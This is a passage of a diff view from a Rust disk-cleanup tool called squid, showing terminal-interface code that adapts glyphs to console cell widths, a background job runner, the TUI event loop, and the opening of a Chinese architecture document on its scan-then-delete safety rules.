fn maximum_capacity_is_read_from_the_os_health_figure() {
let text = " Health Information:\n Cycle Count: 516\n Maximum Capacity: 86%\n";
assert_eq!(parse_maximum_capacity(text), Some(86));
}
#[test]
#[cfg(target_os = "macos")]
fn apple_silicon_health_ignores_the_percentage_in_max_capacity() {
let text =
"\"DesignCapacity\" = 6075\n\"MaxCapacity\" = 100\n\"AppleRawMaxCapacity\" = 4911\n";
assert_eq!(health_from_ioreg(text), Some(81));
}
#[test]
#[cfg(any(target_os = "macos", target_os = "linux"))]
fn hhmm_parsing() {
assert_eq!(parse_hhmm("4:12"), Some(252));
assert_eq!(parse_hhmm("0:00"), Some(0));
assert_eq!(parse_hhmm("no"), None);
}
#[test]
fn current_matches_platform() {
// Must never panic; laptops return Some, desktops None.
let _ = Battery::current();
}
}

File diff suppressed because it is too large Load Diff

View File

@ -1,22 +0,0 @@
[package]
name = "squid-tui"
version.workspace = true
edition.workspace = true
rust-version.workspace = true
license.workspace = true
description = "CleanMyMac-inspired terminal interface for squid"
[dependencies]
squid-core.workspace = true
squid-engine.workspace = true
squid-platform.workspace = true
squid-rules.workspace = true
squid-stats.workspace = true
anyhow.workspace = true
crossterm.workspace = true
ratatui.workspace = true
unicode-width.workspace = true
rayon.workspace = true
chrono.workspace = true
serde_json.workspace = true
crossbeam-channel.workspace = true

File diff suppressed because it is too large Load Diff

View File

@ -1,366 +0,0 @@
//! Carrying a finished frame to the console it is about to be drawn on.
//!
//! What a console charges for the characters an interface is drawn out of, and
//! what to draw when it charges more than the layout paid, is
//! [`squid_platform::currency`]: the command line buys the same screen at the
//! same counter, so the price list and the exchange live beside the console
//! rather than beside a renderer. What cannot travel is the walk over a finished
//! ratatui [`Buffer`] — a question about somebody else's data structure — so
//! that, and only that, is what this crate adds.
//!
//! Two things live here because of it. [`witnesses`] is the list of glyphs this
//! interface is drawn out of, which only this crate can know: the source of the
//! files every screen is built from, plus the symbols ratatui's widgets draw on
//! its behalf. [`Carry`] is the walk that spends the answers on a frame.
//!
//! The invariant worth defending is that those two are one list. A glyph drawn
//! but never priced is invisible on every terminal that charges one cell for
//! everything, and overflows a row on the one that does not, so the mistake is
//! undetectable from a screenshot and lands in front of exactly one person. The
//! last test here is what holds the two halves together.
//!
use ratatui::buffer::Buffer;
use ratatui::symbols;
use squid_platform::currency::{self, Exchange};
/// Ask this console what it charges for everything this interface draws, and
/// work out what to draw instead.
///
/// [`squid_platform::console::prices`] measures the answers by writing each
/// character and reading back what it cost, so the Chinese console that cannot
/// afford a block of shading draws its gauges in `#` while keeping the rounded
/// cards it can afford, and Windows Terminal, a console on UTF-8 and a Mac keep
/// everything they were drawn with.
///
/// Measuring spends characters on whatever the console is showing, which is why
/// this is called once the alternate screen is up and not at startup.
pub fn measure() -> Exchange {
Exchange::new(squid_platform::console::prices(&witnesses()))
}
/// The three files every screen of this interface is drawn out of.
const FACES: &[&str] = &[
include_str!("app.rs"),
include_str!("theme.rs"),
include_str!("views.rs"),
];
/// The characters the widgets draw on our behalf, taken from the library that
/// draws them rather than from what this crate happens to mention: the rules of
/// a card, the fill and the empty of a gauge, the bars of a sparkline. A widget
/// is not a literal anybody can grep for, so it is asked for by name.
fn drawn_by_widgets() -> Vec<String> {
use symbols::border::Set;
let mut drawn: Vec<String> = Vec::new();
let shading = [
symbols::shade::EMPTY,
symbols::shade::LIGHT,
symbols::shade::MEDIUM,
symbols::shade::DARK,
symbols::shade::FULL,
symbols::DOT,
];
drawn.extend(shading.map(str::to_string));
for level in [
symbols::half_block::UPPER,
symbols::half_block::LOWER,
symbols::half_block::FULL,
] {
drawn.push(level.to_string());
}
// A gauge is filled with the left blocks and a sparkline drawn with the
// bottom ones, both in eight levels, and either could be the character this
// console charges two cells for.
let bars = [
symbols::bar::FULL,
symbols::bar::SEVEN_EIGHTHS,
symbols::bar::THREE_QUARTERS,
symbols::bar::FIVE_EIGHTHS,
symbols::bar::HALF,
symbols::bar::THREE_EIGHTHS,
symbols::bar::ONE_QUARTER,
symbols::bar::ONE_EIGHTH,
symbols::block::FULL,
symbols::block::SEVEN_EIGHTHS,
symbols::block::THREE_QUARTERS,
symbols::block::FIVE_EIGHTHS,
symbols::block::HALF,
symbols::block::THREE_EIGHTHS,
symbols::block::ONE_QUARTER,
symbols::block::ONE_EIGHTH,
];
drawn.extend(bars.map(str::to_string));
for Set {
top_left,
top_right,
bottom_left,
bottom_right,
vertical_left,
vertical_right,
horizontal_top,
horizontal_bottom,
} in [
symbols::border::PLAIN,
symbols::border::ROUNDED,
symbols::border::DOUBLE,
symbols::border::THICK,
] {
drawn.extend(
[
top_left,
top_right,
bottom_left,
bottom_right,
vertical_left,
vertical_right,
horizontal_top,
horizontal_bottom,
]
.map(str::to_string),
);
}
drawn
}
/// Every character whose price has to be asked rather than looked up: the ones
/// this interface draws itself, and the ones its widgets draw for it.
///
/// This is the list that used to be one character long. It is derived from the
/// program — the source of the screens, plus the widgets — so that a glyph put
/// into a card is a glyph whose price gets asked without anybody remembering to
/// update a table, which is exactly the thing that went wrong and looked
/// perfectly fine on every terminal but one.
pub fn witnesses() -> Vec<char> {
currency::witnesses(
FACES
.iter()
.map(|face| face.to_string())
.chain(drawn_by_widgets()),
)
}
/// Spend a console's answers on a frame that was drawn without asking for them.
///
/// A trait rather than a method on [`Exchange`], because the exchange is shared
/// with the command line and a command line has no frame to walk. What travels
/// is the arithmetic; this is the part that knows what a cell is.
pub trait Carry {
/// Rewrite a rendered frame so that every cell costs what the layout paid.
///
/// Called once the widgets are done and before the frame reaches the
/// terminal, which is the last moment at which an over-long row can still be
/// made to fit. On a console that charges one cell for everything there is
/// nothing to do, and this returns without touching the frame.
fn carry(&self, buffer: &mut Buffer);
}
impl Carry for Exchange {
fn carry(&self, buffer: &mut Buffer) {
if !self.overcharged() {
return;
}
for y in 0..buffer.area.height {
for x in 0..buffer.area.width {
let Some(cell) = buffer.cell_mut((x, y)) else {
continue;
};
// A cell holding no character is the half of a wide one that a
// previous row already paid for, and has nothing to price.
let Some(first) = cell.symbol().chars().next() else {
continue;
};
// A character above the table is one no console reprices: that
// is where Chinese lives, and both sides already agree that it
// costs two cells, so it has nothing here to buy back.
if let Some(instead) = self.change(first) {
cell.set_char(instead);
}
}
}
}
}
#[cfg(test)]
mod tests {
use super::{witnesses, Carry, FACES};
use ratatui::{
buffer::Buffer,
layout::Rect,
style::Style,
widgets::{Block, BorderType, Borders, Widget},
};
use squid_platform::console::{Prices, SymbolCells};
use squid_platform::currency::{self, Exchange};
use unicode_width::{UnicodeWidthChar, UnicodeWidthStr};
/// What a row of the buffer reads as. The cell behind a wide character is
/// reset to a blank and no eye ever sees it, so it is stepped over here the
/// same way the terminal steps over it.
fn read(buffer: &Buffer, y: u16) -> String {
let mut row = String::new();
let mut hidden = 0usize;
for x in 0..buffer.area.width {
let Some(cell) = buffer.cell((x, y)) else {
continue;
};
if hidden > 0 {
hidden -= 1;
continue;
}
let symbol = cell.symbol();
hidden = symbol.width().saturating_sub(1);
row.push_str(symbol);
}
row
}
/// A console that charges two cells for everything the layout measured as
/// one, which is the worst answer the probe can bring back.
fn cramped() -> Exchange {
Exchange::new(Prices::flat(SymbolCells::Double))
}
/// A console that charges one cell for everything, so nothing here has a
/// reason to touch the frame.
fn fairly_priced() -> Exchange {
Exchange::new(Prices::flat(SymbolCells::Single))
}
/// The console this exchange was written for and still got wrong once: the
/// rules cost one cell, the shading costs two. Whether a console really
/// charges this way is measured, never assumed — this is the *shape* of the
/// unlucky answer, so the walk is tested against the two sets having
/// different prices, which is the one thing a single price cannot express.
fn rules_affordable_gauges_not() -> Exchange {
let mut asked = Vec::new();
for ch in "░▒▓█".chars() {
asked.push((ch, SymbolCells::Double));
}
for ch in "│─╭·…↑✓".chars() {
asked.push((ch, SymbolCells::Single));
}
Exchange::new(Prices::measured(asked, SymbolCells::Single))
}
#[test]
fn an_overcharged_frame_comes_back_as_a_row_that_fits() {
let mut buffer = Buffer::empty(Rect::new(0, 0, 9, 1));
buffer.set_string(0, 0, "╭─╮ · ░▒█", Style::default());
cramped().carry(&mut buffer);
assert_eq!(read(&buffer, 0), "+-+ / .%#");
}
#[test]
fn a_frame_is_left_alone_on_a_console_that_charges_one() {
let mut buffer = Buffer::empty(Rect::new(0, 0, 9, 1));
buffer.set_string(0, 0, "╭─╮ · ░▒█", Style::default());
fairly_priced().carry(&mut buffer);
assert_eq!(read(&buffer, 0), "╭─╮ · ░▒█");
}
#[test]
fn chinese_keeps_both_of_its_cells_and_its_neighbour_keeps_one() {
// 回收站 spends six cells and the middot after it one, so the row is
// seven wide before and after. The repair may not move text it is not
// touching, which is the whole difference between this and a redraw.
let mut buffer = Buffer::empty(Rect::new(0, 0, 7, 1));
buffer.set_string(0, 0, "回收站·", Style::default());
cramped().carry(&mut buffer);
assert_eq!(read(&buffer, 0), "回收站/");
}
#[test]
fn a_console_that_reprices_the_gauges_keeps_the_rules_it_priced_fairly() {
// The frame this module existed for two rounds and still got wrong. One
// probe asked the price of a box-drawing rule, was answered one cell, and
// that became the price of every glyph on the screen — so the rounded card
// stayed rounded, the gauge stayed made of `█`, and every row of the
// Storage and System panels ran further than the console had cells for.
// The overflow arrived at the beginning of the row below, which is where
// the menu is: a gauge overwriting the second entry of a list is what the
// screen looked like, and it is why a price is now asked of every
// character instead of of whichever one was easiest to write.
let exchange = rules_affordable_gauges_not();
let mut buffer = Buffer::empty(Rect::new(0, 0, 14, 1));
buffer.set_string(0, 0, "│ C: ░░░░░ ███", Style::default());
exchange.carry(&mut buffer);
// The rule is exactly as it was drawn, because this console was measured
// charging one cell for it; only the blocks changed hands.
assert_eq!(read(&buffer, 0), "│ C: ..... ###");
}
#[test]
fn every_glyph_this_interface_draws_has_a_price() {
// What this test stands in for is the mistake that spent a week: a glyph
// put into a card in one file and never priced in the table in another.
// Nothing else in the suite notices, because on every terminal that
// charges one cell the row is exactly as wide as the layout says, and
// the frame only falls apart in front of a person on a Chinese console.
let mut drawn = String::new();
for face in FACES {
for ch in face.chars() {
if ch as u32 <= 0x7F || ch.width() != Some(1) || drawn.contains(ch) {
continue;
}
drawn.push(ch);
let Some(instead) = currency::cheaper(ch) else {
continue;
};
assert!(
instead.is_ascii() && instead != '?',
"`{ch}` is drawn here, so the console must not guess what it meant"
);
}
}
assert!(
drawn.chars().count() > 15,
"the scan found {drawn:?}, which is not this interface"
);
}
#[test]
fn the_probe_asks_the_price_of_everything_that_ends_up_on_the_screen() {
// The invariant that would have caught it: the list the console is asked
// about and the list the interface draws are one list. A glyph added to
// a card, or drawn by a widget nobody thought about, has to be priced —
// and no test that renders a frame can tell, because on a terminal that
// charges one cell for everything an unpriced glyph is invisible.
let asked = witnesses();
for face in FACES {
for ch in face.chars() {
if currency::disputed(ch) {
assert!(asked.contains(&ch), "`{ch}` is drawn but never priced");
}
}
}
// The shading and the bars come out of ratatui, not out of this crate.
for ch in ['░', '▒', '▓', '█', '▄', '▉', '▏', '│', '─', '╭', '╰'] {
assert!(asked.contains(&ch), "the widgets draw `{ch}`");
}
// Chinese is priced the same by both sides and is not worth a question.
assert!(!asked.contains(&'回'), "a person's text is not in dispute");
assert!(asked.len() > 20, "{asked:?} is not this interface");
}
#[test]
fn a_card_is_still_a_card_after_the_exchange() {
// ratatui's own border widget rather than a hand-written row, so this
// fails if the library ever draws a card with a character that has been
// left unpriced.
let mut buffer = Buffer::empty(Rect::new(0, 0, 5, 3));
Block::default()
.borders(Borders::ALL)
.border_type(BorderType::Rounded)
.render(buffer.area, &mut buffer);
cramped().carry(&mut buffer);
assert_eq!(read(&buffer, 0), "+---+");
assert_eq!(read(&buffer, 1), "| |");
assert_eq!(read(&buffer, 2), "+---+");
}
}

View File

@ -1,150 +0,0 @@
//! Background work. A TUI that blocks on a disk walk is a broken TUI, so every
//! engine call runs on its own thread and reports through two channels:
//!
//! * [`Progress`] events (phases, ticks, warnings) feed the live progress bar;
//! * one final value on completion, delivered to [`JobHandle::poll`].
//!
//! Each job builds its own [`Engine`]. That keeps the borrow checker happy and
//! means a job always sees current settings, at the cost of re-reading a small
//! TOML file per scan.
use crossbeam_channel::{bounded, Receiver, TryRecvError};
use squid_core::progress::{CancelToken, Progress};
use squid_engine::Engine;
pub struct JobHandle<T> {
rx: Receiver<Result<T, String>>,
cancel: CancelToken,
label: String,
}
impl<T> JobHandle<T> {
/// Non-blocking peek: `None` while the worker is still running.
pub fn poll(&self) -> Option<Result<T, String>> {
match self.rx.try_recv() {
Ok(value) => Some(value),
Err(TryRecvError::Empty) => None,
Err(TryRecvError::Disconnected) => {
Some(Err("the worker thread disappeared".to_string()))
}
}
}
pub fn cancel(&self) {
self.cancel.cancel();
}
pub fn label(&self) -> &str {
&self.label
}
pub fn is_finished(&self) -> bool {
self.poll().is_some()
}
}
/// Run `work` on a worker thread. The returned [`Progress`] is the handle the
/// UI drains for live feedback.
pub fn spawn<T, F>(label: &str, work: F) -> (JobHandle<T>, Progress)
where
T: Send + 'static,
F: FnOnce(&Engine, &Progress, &CancelToken) -> squid_core::Result<T> + Send + 'static,
{
let progress = Progress::new();
let ui_progress = progress.clone();
let cancel = CancelToken::new();
let worker_cancel = cancel.clone();
let (tx, rx) = bounded::<Result<T, String>>(1);
let label = label.to_string();
let thread_label = label.clone();
std::thread::Builder::new()
.name(format!("squid-{label}"))
.spawn(move || {
let result = std::panic::catch_unwind(std::panic::AssertUnwindSafe(|| {
let engine = Engine::new();
work(&engine, &progress, &worker_cancel)
}));
let value = match result {
Ok(inner) => inner.map_err(|err| err.to_string()),
Err(panic) => {
let message = panic
.downcast_ref::<&str>()
.map(|text| text.to_string())
.or_else(|| panic.downcast_ref::<String>().cloned())
.unwrap_or_else(|| "unknown error".to_string());
Err(format!("internal error: {message}"))
}
};
let _ = tx.send(value);
})
.expect("spawn worker thread");
(
JobHandle {
rx,
cancel,
label: thread_label,
},
ui_progress,
)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn a_job_reports_its_value() {
let (job, progress) = spawn("test", |_engine, _progress, _cancel| Ok(41u32 + 1));
loop {
let _ = progress.drain();
if let Some(value) = job.poll() {
assert_eq!(value.expect("ok"), 42u32);
break;
}
std::thread::sleep(std::time::Duration::from_millis(10));
}
}
#[test]
fn a_panicking_job_becomes_an_error_instead_of_a_hang() {
let (job, _progress) = spawn(
"boom",
|_engine, _progress, _cancel| -> squid_core::Result<u32> {
panic!("deliberate");
},
);
let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
loop {
if let Some(value) = job.poll() {
assert!(value.unwrap_err().contains("deliberate"));
break;
}
assert!(std::time::Instant::now() < deadline, "job never finished");
std::thread::sleep(std::time::Duration::from_millis(10));
}
}
#[test]
fn cancellation_reaches_the_worker() {
let (job, _progress) = spawn("cancel", |_engine, _progress, cancel| {
for _ in 0..1_000 {
if cancel.is_cancelled() {
return Err(squid_core::SquidError::Cancelled);
}
std::thread::sleep(std::time::Duration::from_millis(2));
}
Ok(0u32)
});
std::thread::sleep(std::time::Duration::from_millis(20));
job.cancel();
let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
loop {
if let Some(value) = job.poll() {
assert!(value.unwrap_err().contains("cancel"));
break;
}
assert!(std::time::Instant::now() < deadline, "cancel ignored");
std::thread::sleep(std::time::Duration::from_millis(10));
}
}
}

View File

@ -1,415 +0,0 @@
//! The terminal front end.
//!
//! [`run`] owns the whole screen: it installs raw mode plus the alternate
//! buffer, drives [`App::tick`] on a fixed beat, and always puts the terminal
//! back the way it found it — including when a render panics.
//!
//! It also decides what "the whole screen" means, once per beat. That sounds
//! like a detail and is the difference between an interface and a pile of
//! previous frames: see [`drawable`] and [`repaint`].
//!
//! Then it asks what a column costs, because on a console that charges two for
//! the characters the layout measured as one, every row of the interface is
//! longer than the screen and the pile of previous frames comes back on its
//! own: see [`glyphs`].
pub mod app;
pub mod glyphs;
pub mod job;
pub mod theme;
pub mod views;
use app::{Action, App};
use crossterm::{
event::{poll, read, Event, KeyCode, KeyEventKind, KeyModifiers},
execute,
terminal::{
disable_raw_mode, enable_raw_mode, Clear, ClearType, EnterAlternateScreen,
LeaveAlternateScreen,
},
};
use glyphs::Carry as _;
use ratatui::{backend::CrosstermBackend, layout::Rect, Terminal, TerminalOptions, Viewport};
use squid_platform::console::Geometry;
use std::io::{stdout, Stdout, Write};
use std::time::{Duration, Instant};
/// How often the UI drains progress events and repaints.
const TICK: Duration = Duration::from_millis(250);
/// The shape to draw into when a terminal cannot be asked for one.
const FALLBACK: (u16, u16) = (80, 24);
type Screen = Terminal<CrosstermBackend<Stdout>>;
/// Restores the terminal on the way out, panic included. Without the panic
/// hook a bug would leave the user's shell in raw mode.
struct TerminalGuard;
impl TerminalGuard {
fn install() -> anyhow::Result<TerminalGuard> {
enable_raw_mode()?;
let mut out = stdout();
execute!(out, EnterAlternateScreen)?;
out.flush()?;
let previous = std::panic::take_hook();
std::panic::set_hook(Box::new(move |info| {
let _ = TerminalGuard::restore();
previous(info);
}));
Ok(TerminalGuard)
}
fn restore() -> std::io::Result<()> {
let mut out = stdout();
execute!(out, LeaveAlternateScreen)?;
out.flush()?;
disable_raw_mode()?;
Ok(())
}
}
impl Drop for TerminalGuard {
fn drop(&mut self) {
let _ = TerminalGuard::restore();
}
}
/// Open the interface. Returns once the user quits.
pub fn run() -> anyhow::Result<()> {
// Settle the colour depth before the terminal is touched at all. The answer
// comes from the environment of the shell that launched squid, and every
// colour the interface later emits is decided by it: a terminal that cannot
// parse a 24-bit escape sequence prints the numbers as text, so asking
// first and defaulting downwards is what keeps Apple Terminal and a bare
// ssh session readable instead of garbled.
crate::theme::init();
squid_platform::console::note(&format!("start {}", squid_platform::console::report()));
let guard = TerminalGuard::install()?;
// The line that settles the argument about which buffer the interface is
// on: this is measured after the alternate screen went up, and it is the
// last moment at which the screen can still be recognised as one the
// console made for us. The `vt=` on both lines says which way the words are
// reaching the glass, and the difference between the two lines says whether
// the terminal library managed to turn on escape-sequence output at all.
squid_platform::console::adopt();
squid_platform::console::note(&format!("alternate {}", squid_platform::console::report()));
let result = run_inner();
squid_platform::console::note("leaving");
drop(guard);
squid_platform::console::note("restored");
result
}
/// The rectangle the interface may paint.
///
/// A window that reports 180 columns is only 180 columns wide if something
/// exists to hold them. Modern terminals own both numbers and answer
/// [`Geometry::None`](Geometry), so the window is the answer; a legacy Windows
/// console reports a buffer as well, and the smaller of the two is the only
/// area where writing cannot spill onto the following row.
fn drawable(window: (u16, u16), console: Option<Geometry>) -> Rect {
let (columns, rows) = match console {
Some(geometry) => geometry.drawable(),
None => window,
};
Rect::new(0, 0, columns, rows)
}
/// Everything the screen reports about its own shape, right now.
///
/// Three numbers, because one is not enough to notice trouble. The window is
/// what the user is looking at; the area is what may be painted without
/// spilling into the next row; the console geometry is the pair of measurements
/// behind both, and it is the only one that sees a buffer being resized
/// underneath an interface whose drawable area happens not to move.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
struct Reported {
window: (u16, u16),
area: Rect,
console: Option<Geometry>,
}
/// Ask the terminal, then the console behind it, what it can hold right now.
fn current_shape() -> Reported {
let window = crossterm::terminal::size().unwrap_or(FALLBACK);
let console = squid_platform::console::geometry();
Reported {
window,
area: drawable(window, console),
console,
}
}
/// The screen as it was when the interface last painted it, so that a wipe
/// happens when the shape changes and not every beat. Repainting on an
/// unchanged size would cost a flicker four times a second for the session.
///
/// What it remembers is the whole measurement on purpose. A window can grow
/// while the area stays clamped to a buffer that refused to grow with it, and
/// then the columns that just came into view are full of whatever the console
/// remembers; a buffer can also be resized by the console host while both the
/// window and the area stay put, which moves the frame without asking. Either
/// way the diff is now comparing coordinates that no longer mean the same cell.
#[derive(Debug)]
struct Drawn {
reported: Reported,
}
impl Drawn {
fn new(reported: Reported) -> Drawn {
Drawn { reported }
}
/// `Some` when the screen is no longer the shape last drawn into.
fn observe(&mut self, seen: Reported) -> Option<Rect> {
(self.reported != seen).then(|| {
self.reported = seen;
seen.area
})
}
}
/// The screen changed shape, which no diff renderer survives on its own.
///
/// The frame is drawn by writing the cells that differ from the previous one.
/// Resizing moves content around inside the console without asking, so cells
/// this renderer believes are empty are holding an older frame, and cells it
/// believes are filled are somewhere else entirely. Growing the console's
/// buffer is tried first — it is the actual fault on Windows 10 — and then the
/// whole buffer is wiped so the next frame starts from a screen that matches
/// what the diff assumes.
fn repaint(terminal: &mut Screen, drawn: &mut Drawn) -> anyhow::Result<()> {
// A console that accepted a bigger buffer has just handed back columns, so
// the answer worth drawing into is asked for again.
let repaired = squid_platform::console::repair();
if repaired {
drawn.reported = current_shape();
}
let area = drawn.reported.area;
squid_platform::console::note(&format!(
"repaint {}x{} repair={repaired}",
area.width, area.height
));
let mut out = stdout();
execute!(out, Clear(ClearType::All))?;
out.flush()?;
terminal.resize(area)?;
Ok(())
}
fn run_inner() -> anyhow::Result<()> {
let mut app = App::new()?;
// The viewport is fixed rather than full-screen because the size of a full
// screen is whatever the terminal says it is, and on a legacy console that
// answer is a lie the renderer would then paint into.
let seen = current_shape();
let mut terminal = Terminal::with_options(
CrosstermBackend::new(stdout()),
TerminalOptions {
viewport: Viewport::Fixed(seen.area),
},
)?;
let mut drawn = Drawn::new(seen);
terminal.hide_cursor()?;
terminal.clear()?;
// Priced against the screen, not against the tables the layout was drawn
// with, and only now: measuring spends one character on whatever the console
// is showing, and the screen is not ours to spend until the alternate one is
// up. The character it writes is covered by the first frame.
let exchange = glyphs::measure();
let mut next_tick = Instant::now() + TICK;
while !app.should_quit {
app.tick();
let wanted = current_shape();
if drawn.observe(wanted).is_some() {
repaint(&mut terminal, &mut drawn)?;
}
terminal.draw(|frame| {
views::draw(frame, &app);
// The last moment at which a row that is too long for this console
// can still be made to fit is after the widgets and before the wire.
exchange.carry(frame.buffer_mut());
})?;
if poll(next_tick.saturating_duration_since(Instant::now()))? {
match read()? {
Event::Key(key) if key.kind == KeyEventKind::Press => {
if app.handle_key(key.code, key.modifiers) == Action::Quit {
if app.busy() && !app.confirm.is_some() {
app.cancel_jobs();
app.should_quit = true;
} else {
app.should_quit = true;
}
}
}
Event::Key(key)
if key.kind == KeyEventKind::Repeat
&& key.modifiers.contains(KeyModifiers::CONTROL)
&& key.code == KeyCode::Char('c') =>
{
app.cancel_jobs();
app.should_quit = true;
}
// Nothing to do: the beat above re-reads the geometry from the
// console instead of trusting this event, which also covers the
// resizes a legacy console never reports.
Event::Resize(_, _) => {}
_ => {}
}
}
if Instant::now() >= next_tick {
next_tick = Instant::now() + TICK;
}
}
terminal.show_cursor()?;
Ok(())
}
#[cfg(test)]
mod tests {
use super::{drawable, Drawn, Reported};
use ratatui::layout::Rect;
use squid_platform::console::Geometry;
/// A console that can display whatever it is showing, so only the window
/// and the buffer are in disagreement here.
fn console(window: (u16, u16), buffer: (u16, u16)) -> Option<Geometry> {
Some(Geometry {
window,
origin: (0, 0),
buffer,
limit: (window.0.max(buffer.0), window.1.max(buffer.1).max(9_999)),
})
}
fn reported(window: (u16, u16), area: (u16, u16), buffer: (u16, u16)) -> Reported {
Reported {
window,
area: Rect::new(0, 0, area.0, area.1),
console: console(window, buffer),
}
}
fn painted(window: (u16, u16), area: (u16, u16), buffer: (u16, u16)) -> Drawn {
Drawn::new(reported(window, area, buffer))
}
#[test]
fn a_terminal_that_owns_its_buffer_keeps_the_size_it_reported() {
// Every terminal drawn on so far — Terminal.app, Windows Terminal,
// konsole, a bare ssh session — owns both numbers, so its word is the
// layout's word.
assert_eq!(drawable((140, 45), None), Rect::new(0, 0, 140, 45));
}
#[test]
fn a_window_wider_than_the_cells_that_exist_is_not_a_place_to_draw() {
// The maximized-on-Windows-10 frame: 180 columns of window over 100
// columns of buffer. Column 101 is column 0 of the next row, and every
// line under it slides.
assert_eq!(
drawable((180, 50), console((180, 50), (100, 30))),
Rect::new(0, 0, 100, 30)
);
}
#[test]
fn a_consoles_history_is_not_extra_interface() {
// Rows of scrollback are the shell's, not the interface's.
assert_eq!(
drawable((120, 40), console((120, 40), (120, 900))),
Rect::new(0, 0, 120, 40)
);
}
#[test]
fn the_screen_is_wiped_when_it_changes_and_only_then() {
let mut drawn = painted((100, 30), (100, 30), (100, 900));
assert_eq!(
drawn.observe(reported((100, 30), (100, 30), (100, 900))),
None,
"an unchanged screen must not be wiped again"
);
assert_eq!(
drawn.observe(reported((140, 40), (140, 40), (140, 900))),
Some(Rect::new(0, 0, 140, 40))
);
assert_eq!(
drawn.observe(reported((140, 40), (140, 40), (140, 900))),
None,
"the wipe is once per change, not once per beat"
);
}
#[test]
fn a_console_that_scrolled_its_own_buffer_moves_the_picture_without_moving_the_size() {
// Every number the layout reads is unchanged here, and the frame is
// still on the wrong cells: the console slid its window down the buffer
// underneath the interface. The measurement carries the origin for this
// case and nobody has to explain why the screen looks frozen.
let mut drawn = painted((120, 30), (120, 30), (120, 9_000));
let scrolled = Reported {
window: (120, 30),
area: Rect::new(0, 0, 120, 30),
console: Some(Geometry {
window: (120, 30),
origin: (0, 897),
buffer: (120, 9_000),
limit: (120, 30),
}),
};
assert_eq!(drawn.observe(scrolled), Some(Rect::new(0, 0, 120, 30)));
}
#[test]
fn a_window_that_grew_is_repainted_even_when_the_buffer_stayed_behind() {
// The clamped case: 180 columns of window over the 100 columns of
// buffer a console refused to grow. The drawing area has not moved,
// but eighty columns of that console's memory just came into view.
let mut drawn = painted((100, 30), (100, 30), (100, 30));
assert_eq!(
drawn.observe(reported((180, 30), (100, 30), (100, 30))),
Some(Rect::new(0, 0, 100, 30)),
"newly visible columns must not keep what the console remembered"
);
}
#[test]
fn a_buffer_moved_under_an_unchanged_window_is_repainted_too() {
// Nothing the interface lays out has changed: the window is the same
// and the drawable area is still clamped by it. The console host has
// resized the buffer behind the frame, which is exactly the move a
// coordinate-based diff cannot see, so the numbers behind the layout
// have to be watched, not only the layout.
let mut drawn = painted((120, 30), (120, 30), (120, 30));
assert_eq!(
drawn.observe(reported((120, 30), (120, 30), (120, 60))),
Some(Rect::new(0, 0, 120, 30)),
"a buffer that moved is a screen that has to be wiped"
);
}
#[test]
fn scrollback_that_grew_past_the_frame_is_not_a_change_of_pace() {
// Height the console offers as history is not height the interface
// paints into, so growth entirely inside scrollback must not buy a
// flicker. A buffer that only grew taller than a window that is the
// limit either way is the one case ignored on purpose.
let mut drawn = Drawn::new(Reported {
window: (120, 30),
area: Rect::new(0, 0, 120, 30),
console: console((120, 30), (120, 900)),
});
assert_eq!(
drawn.observe(Reported {
window: (120, 30),
area: Rect::new(0, 0, 120, 30),
console: console((120, 30), (120, 1_800)),
}),
Some(Rect::new(0, 0, 120, 30)),
"documented cost: the console changed, so the frame is redrawn"
);
}
}

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -1,319 +0,0 @@
# squid 架构
本文描述 squid 的模块划分、数据流、安全不变量与跨平台方案。阅读顺序建议:先读「两条铁律」,再看 crate 图,最后按需查各引擎。
## 设计目标
1. **一台机器可以只有 245 GB,但用户的文件必须是无价的。** 所有设计里优先级最高的一条。
2. **单二进制、零常驻。** 没有 daemon、没有 launch agent、没有后台上传;`squid` 退出后不留痕迹。
3. **CLI 与 TUI 共用同一套引擎。** 终端界面不是玩具前端,`squid clean` 与 TUI 里的「清理」面板调用的是同一个函数。
4. **可脚本化。** 任何命令都能 `--json`、`--dry-run`、`--quiet`,退出码稳定。
非目标:不做实时文件系统监听、不做定时任务、不做 GUI(AppKit/SwiftUI)、不做云同步。
## 两条铁律(不变量)
**铁律一:扫描不删除。**
每个引擎都遵循 `Scan → Approve → Delete` 契约。`scan()` 只产出 `ScanReport`(一组 `CleanupItem`),幂等、无副作用,可以随时中断,可以对着 1 TB 的目录跑十次。
**铁律二:只有 `squid_engine::delete::execute` 能删东西。**
`squid-engine` 内部禁止直接调用 `std::fs::remove_*`。删除必须经过这一个函数,因此「安全校验 + 账本 + 废纸篓可还原」在架构上无法被绕过——新增引擎时想跳过检查,就只能显式地写出一条很难看代码评审的语句。
`execute` 做的事:丢弃嵌套重复项(父目录先删会让子项 ENOENT、体积重复计数)→ 对每个条目重新执行 `Engine::block_reason()`(锁、白名单、`SafetyPolicy`)→ 预先计算废纸篓目标路径 → 删除 → 写 ledger 会话。之所以要"重新校验",是因为一次扫描可能跑了几分钟,磁盘早就不一样了。
## crate 依赖图
| 层 | crate | 依赖 |
| --- | --- | --- |
| 0 | `squid-core` | —(不知道任何其它 crate 的存在)|
| 1 | `squid-platform` | core |
| 1 | `squid-rules` | core, platform |
| 1 | `squid-stats` | core, platform |
| 1 | **`squid-guard`** | core, platform |
| 2 | `squid-engine` | core, platform, rules, stats |
| 3 | `squid-tui` | core, platform, rules, stats, engine |
| 4 | `squid-cli` | 以上全部(含 guard)|
| — | `src-tauri` | core, platform, guard, engine, stats |
`squid-guard` 与 `squid-engine` 在第 1 / 第 2 层并列,而不是叠在一起:清理引擎的一切
前提都是「这东西可再生,删了没事」,而隔离的全部难度恰恰在于「这是用户自己的文件,
必须能原样放回去」。所以 guard 只依赖 `core` 与 `platform`,复用 `Progress`、
`CancelToken` 与 `paths`,但不碰删除路径。
### squid-core
| 模块 | 关键类型 | 职责 |
| --- | --- | --- |
| `model` | `CleanupItem`, `Category`, `ItemKind`, `DeleteMode`, `LockReason`, `CleanSummary`, `ScanReport` | 唯一的数据货币。`CleanupItem{path, kind, size, category, label, rule_id, selected, allocated, lock, note, anchors}` |
| `bytes` | `Bytes`, `format_thousands` | 逻辑大小 vs 实际占盘大小(`st_blocks * 512`)两套口径 |
| `paths` | `expand`, `home_dir`, `pretty`, `label_for` | `~` 展开、`~/…` 显示、中文安全的路径缩短 |
